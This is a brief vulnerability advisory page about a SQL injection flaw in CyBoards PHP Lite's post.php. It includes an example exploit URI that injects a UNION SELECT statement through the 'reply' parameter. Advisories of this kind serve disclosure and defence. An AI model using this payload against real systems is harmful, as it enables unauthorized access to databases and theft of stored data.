• info
• discussion
• exploit
• solution
• references

CyBoards PHP Lite Post.PHP SQL Injection Vulnerability


This issue can be exploited through a web client.



An example URI has been provided:

http://www.example.com/post.php?board=1&reply=999'% 20union%20select% 201,2,3,4,5, 6,7,8,9,10, 11,12,13,14, 15,16,17,18, 19/*